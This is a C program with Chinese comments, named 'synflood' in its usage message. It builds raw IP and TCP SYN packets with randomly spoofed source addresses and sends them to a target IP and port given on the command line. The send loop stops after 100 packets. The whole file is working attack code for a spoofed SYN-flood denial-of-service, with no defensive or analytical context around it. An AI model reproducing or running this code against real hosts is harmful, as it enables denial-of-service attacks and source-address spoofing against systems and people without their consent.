#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <arpa/inet.h>

#define IP_DF        0x4000      /* Flag: "Don't Fragment"   */

// tcp 协议首部
typedef struct tcphdr {
    unsigned short  source;      // 源端口号
    unsigned short  dest;        // 目的端口号
    unsigned int    seq;         // 32位序列号
    unsigned int    ack_seq;     // 32位确认号
    unsigned char   len;         // 首部长度
    unsigned char   flag;        // 标志位
    unsigned short  window;      // 16位窗口大小
    unsigned short  check;       // 16位校验和
    unsigned short  urg_ptr;     // 16位紧急指针
} TCPHDR;

// 伪首部
typedef struct pseudohdr {
    unsigned int        saddr;    // 源IP
    unsigned int        daddr;    // 目的IP
    char                zeros;    // 8位保留字节，为0
    char                protocol; // 传输层协议号，tcp为6
    unsigned short      length;   // 16位tcp报文长度(tcp首部 + 数据)
} PSEUDOHDR;

// 生成校验和，tcp校验和的计算包括: 12字节的伪首部 + tcp首部 + tcp数据
unsigned short checkSum(unsigned short *buffer, unsigned short size)     
{  
    unsigned long cksum = 0;

    while (size > 1) {
        cksum += *buffer++;
        size  -= sizeof(unsigned short);
    }

    if (size) {
        cksum += *(unsigned char *)buffer;
    }

    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >> 16);     

    return (unsigned short )(~cksum);
}

// ip 协议首部
typedef struct iphdr {
    unsigned char   ver_and_hdrLen; // 版本号和ip头部长度
    unsigned char   tos;            // 服务类型
    unsigned short  tot_len;        // 总长度(首部和数据之和的长度)
    unsigned short  id;             // IP包ID
    unsigned short  frag_off;       // 标志位(包括分片偏移量)
    unsigned char   ttl;            // 生命周期
    unsigned char   protocol;       // 上层协议
    unsigned short  check;          // 校验和
    unsigned int    saddr;          // 源IP地址
    unsigned int    daddr;          // 目标IP地址
} IPHDR;

// tcp首部初始化
void initTcpHeader(TCPHDR *tcph, unsigned short dport)
{
    // 生成一个随机的源端口号，范围在1024到65535之间
    tcph->source = htons(rand() % (65535 - 1024 + 1) + 1024);
    tcph->dest = htons(dport);
    tcph->seq = htonl(rand() % 90000000 + 1234 );
    tcph->ack_seq = 0;
    // 长度占4位
    tcph->len = (sizeof(TCPHDR)/4 << 4 | 0);
    // 设置syn标记，其占第二个bit位
    tcph->flag = 0x02;
    tcph->window = htons(1024);
    tcph->check = 0;
    tcph->urg_ptr = 0;
}
// 初始化tcp伪首部
void initPseudoHeader(PSEUDOHDR *phdr, unsigned int srcaddr, unsigned int dstaddr)
{
    phdr->zeros = 0;
    phdr->protocol = IPPROTO_TCP;
    phdr->length = htons(sizeof(struct tcphdr));
    phdr->saddr = srcaddr;
    phdr->daddr = dstaddr;
}

// ip头部初始化
void initIpHeader(IPHDR *iph, unsigned int saddr, unsigned int daddr)
{
    // syn 包只占用一个标记，不占用实际数据，因此报文中真实数据也就只是tcp首部
    int len = sizeof(IPHDR) + sizeof(TCPHDR);
    iph->ver_and_hdrLen = (4 << 4 | sizeof(IPHDR) / sizeof(unsigned int));
    iph->tos = 0;
    iph->tot_len = htons(len);
    iph->id = 1;
    // iph->frag_off = 0x40;
    iph->frag_off = htons(IP_DF);
    iph->ttl      = 255;
    iph->check = 0;
    iph->protocol = IPPROTO_TCP;
    iph->saddr = saddr;
    iph->daddr = daddr;
}

// 构建 SYN 包
int createSynPacket(char *packet, int pkt_len, unsigned int daddr, 
                    unsigned short dport)
{
    char buf[512] = {0};
    int len = 0;
    IPHDR iph;             // IP 头部
    TCPHDR tcph;           // TCP 头部
    PSEUDOHDR pseudoh;     // TCP 伪头部
    unsigned int saddr = rand(); // 随机生成一个源IP地址

    memset(&iph, 0, sizeof(iph));
    memset(&tcph, 0, sizeof(tcph));
    memset(&pseudoh, 0, sizeof(pseudoh));

    len = sizeof(iph) + sizeof(tcph);

    // 初始化头部信息
    initIpHeader(&iph, saddr, daddr);
    initTcpHeader(&tcph, dport); // 调用修改后的函数
    initPseudoHeader(&pseudoh, saddr, daddr);

    // 计算IP校验和
    iph.check = checkSum((u_short *)&iph, sizeof(iph));

    // 计算TCP校验和
    memcpy(buf , &pseudoh, sizeof(pseudoh));           // 复制TCP伪头部
    memcpy(buf + sizeof(pseudoh), &tcph, sizeof(tcph)); // 复制TCP头部
    tcph.check = checkSum((u_short *)buf, sizeof(pseudoh) + sizeof(tcph));

    memset(packet, 0, pkt_len);
    memcpy(packet, &iph, sizeof(iph));
    memcpy(packet + sizeof(iph), &tcph, sizeof(tcph));

    return len;
}


// 创建原始套接字
int createRawSocket()
{
    int fd;
    int on = 1;

    // 创建一个原始套接字, 指定其关注TCP协议
    fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    if (fd == -1) {
        return -1;
    }

    // 设置需要手动构建IP头部
    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
        close(fd);
        return -1;
    }

    return fd;
}

// 发送SYN包
int sendSynPacket(int sockfd, unsigned int addr, unsigned short port)
{
    struct sockaddr_in skaddr;
    char packet[256] = {0};
    int pkt_len = 0;

    memset(&skaddr, 0, sizeof(skaddr));

    skaddr.sin_family = AF_INET;
    skaddr.sin_port = htons(port);
    skaddr.sin_addr.s_addr = addr;

    pkt_len = createSynPacket(packet, 256, addr, port);

    return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
                  sizeof(struct sockaddr));
}

int main(int argc, char *argv[])
{
    unsigned int addr;
    unsigned short port;
    int sockfd;
    int count = 0; // 发送计数器

    if (argc < 3) {
        printf("用法: synflood <address> <port>\n");
        return -1;
    }

    addr = inet_addr(argv[1]);  // 获取目标IP
    port = atoi(argv[2]);       // 获取目标端口

    if (port < 0 || port > 65535) {
        printf("目标端口号无效: %s\n", argv[2]);
        return -1;
    }

    sockfd = createRawSocket(); // 创建原始socket
    if (sockfd == -1) {
        printf("Failed to make raw socket\n");
        return -1;
    }

    struct in_addr inaddr;
    inaddr.s_addr = addr;

    while (count < 100) {
        if (sendSynPacket(sockfd, addr, port) >= 0) {
            printf("%d\t", count);
            count++;
        } else {
            printf("发送 syn 数据包失败\n");
        }
    }

    close(sockfd);

    return 0;
}
